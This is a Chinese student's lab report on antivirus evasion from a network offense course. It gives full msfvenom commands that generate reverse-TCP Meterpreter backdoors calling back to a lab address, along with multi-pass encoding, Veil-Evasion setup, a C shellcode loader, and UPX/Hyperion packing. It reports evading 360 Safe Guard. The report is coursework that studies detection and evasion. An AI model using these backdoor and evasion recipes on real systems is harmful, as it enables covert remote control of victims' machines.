基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

  • 启发式恶意软件检测:根据些片面特征去推断,缺乏精确性。如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那我们就把它当成一个恶意软件。

  • 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。

(3)免杀的基本方法有哪些?

  • 改变特征码

    • 只有EXE :加壳(压缩壳 加密壳)
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码 :用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社工类攻击,诱骗目标关闭AV软件
    • 纯手工打造一个恶意软件

实践内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

正确使用msf编码器

1、使用VirusTotalVirscan这两个网站对实验二中生成的后门程序20165215_backdoor.exe进行扫描

  • 用VirusTotal扫描后结果如下:

  • 用Virscan网站的扫描结果如下:

由此可知后门程序如果不加处理,绝大多数杀软很快就可以识别出来

2、用msf编码器对后门程序进行一次到多次的编码,并进行检测

  • 一次编码使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.116.128 LPORT=5215 -f exe > met-encoded.exe,其中-e为编码,-b为规避坏字符

  • 用VirusTotal扫描后结果如下:

  • 多次编码使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' LHOST=192.168.116.128 LPORT=5215 -f exe > met-encoded15.exe,其中-i为编码次数

  • 用VirusTotal扫描后结果如下:

由此可见多次编码对免杀没有太大的效果

msfvenom生成如jar之类的其他文件

1、生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 x> 5215zjj_java.jar

  • 用VirusTotal扫描后结果如下:

2、生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 x> 5215zjj.php

  • 用VirusTotal扫描后结果如下:

3、生成apk后门程序使用命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 R > 5215zjj.apk

  • 用VirusTotal扫描后结果如下:

4、其他类型的文件可以参考msfvenom生成各类Payload命令

veil-evasion

  • sudo apt-get install veil-evation命令安装
  • 安装成功后,输入veil显示如下界面:

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 使用命令set LHOST 192.168.116.139设置反弹连接IP,此处的IP是KaliIP
  • 使用命令set LPORT 5215设置端口
  • 使用命令generate生成文件,接着为生成的playload命名

  • 用VirusTotal扫描后结果如下:

用shellcode编程

  • 首先使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.139 LPORT=5215 -f c 生成一段shellcode

  • 按如下格式编写20165215.c
unsigned char buf[] = ……//生成的shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令i686-w64-mingw32-g++ 20165215.c -o 20165215.exe编译这个.c文件为可执行文件

  • 用VirusTotal扫描后结果如下:

加壳工具

  • 使用命令upx 20165215.exe -o 20165215_uped.exe为上步生成的可执行文件加压缩壳

  • 用VirusTotal扫描后结果如下:

  • 将加压缩壳文件拷贝到/usr/share/windows-binaries/hyperion/目录中
  • 进入目录/usr/share/windows-binaries/hyperion/
  • 输入命令wine hyperion.exe -v 20265215_uped.exe 20165215_upxed_Hyperion.exe

  • 用VirusTotal扫描后结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

  • 原理:使用encode库里的其它编译器生成shellcode,将生成的shellcode在vc下编译,再进行加壳
  • 被控主机:win10
  • 扫描软件:360安全卫士11.4.0.2001

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 被控主机:win10
  • 扫描软件:360安全卫士11.5.0.2001

实验过程中遇到的问题

  • 问题:安装veil时出现如下错误:

  • 解决方法:使用sudo apt-get install veil--version --fix-missing进行修复安装,需要等到一段很长的时间
  • 问题:无法ping通别人的主机
  • 解决方法:首先是将虚拟机由NAT模式,改为网桥模式。但修改后,kali的eth0不能成功获取正确的ip地址,显示为乱码,后来通过参考博客解决kali桥接模式无法上网解决了该问题

开启杀软能绝对防止电脑中恶意代码吗?

显而易见是不能够,本次实验的整个过程就证明了这个结论

实验总结与体会

本次实验理论上理解免杀的概念、实现方法并不难,但最终要得到免杀的结果确实来之不易。虽说shikata_ga_nai编译器的效果是最好的,但我怀疑近期由于太多的同学都使用了该方法,导致我实践的时候就轻易被识破了,好在我后来找到了其它加密方法。另外,安装veil的过程也是困难重重,除了要有耐心以外,记得先保存快照,以及可以去看看同学们遇见的问题,绕过他们走过的弯路。

2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165215的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. Java数据库连接与查询

    9个步骤: 1.加载数据库驱动: 2.连接数据库: 3.创建语句statement: 5.创建sql语法字符串: 6.执行: 7.如果步骤6是执行新增.修改.删除操作那么返回的是影响的行数,如果是执行 ...

  2. webpack3_脚手架

    webpack    记得 --save-dev 装入开发依赖 更新迭代快,需要有根据报错解决问题的能力,来融会贯通这个工具 这里的是 webpack3,其实已经到了 webpack4 了 采用了 w ...

  3. CSS3_盒阴影_倒影_盒子大小可调

    1. 盒阴影 会产生一个或者多个阴影 使用:    (多个阴影,以逗号隔开) /* (不能为负值) (可以负值) */ /* 水平方向偏移量 垂直反向偏移量 模糊程度 扩散程度 颜色 是否是内阴影; ...

  4. vue菜鸟从业记:公司项目里如何进行前后端接口联调

    最近我的朋友王小闰进入一家新的公司,正好公司项目采用的是前后端分离架构,技术栈是王小闰非常熟悉的vue全家桶,后端用的是Java语言. 在前后端开发人员碰面之后,协商确定好了前端需要的数据接口(扯那么 ...

  5. Web Service学习(一)

    1.WebMethod特性包含哪些属性,都有什么用? 1.BufferResponse属性 该属性表明是否启用对Web Service方法响应的缓冲.当设置为true时,Web Service方法将响 ...

  6. Selenium 3----警告框处理+下拉框选择

    警告框处理 在WebDriver中处理JavaScript所生成的alert.confirm以及prompt十分简单,具体做法是使用 switch_to.alert 方法定位到 alert/confi ...

  7. asch相关的linux基础知识分享

    本文针对的人群:会用putty.SecureCRT.xhsell等工具ssh连接到自己的asch服务器上,但不怎么会执行命令的人.高手请绕路~ 本文主要围绕受托人搭建.维护涉及相关的内容进行Linux ...

  8. Linux filesystem

    文件系统的运作与操作系统的文件数据有关.较新的操作系统的文件数据除了文件实际内容外,通常含有非常多的属性,例如Linux操作系统的文件权限(rwx)与文件属性(属主.属组.时间参数等).文件系统通常会 ...

  9. JDK安装路径下的JRE与独立安装的JRE区别

    在JDK安装目录下的子文件下,已经默认安装了一个jre.且与独立安装的JRE6所包含的文件几乎完全一样. JDK里面内置的JRE和独立的JRE是有一点差别的: 在JDK安装文件中包含了一个完整的独立版 ...

  10. gitIgnore说明

    有些内容不需要提交到git服务器上,这时我们可以配置.gitIgnore文件.可参考:https://www.cnblogs.com/kevingrace/p/5690241.html 可能有时候你会 ...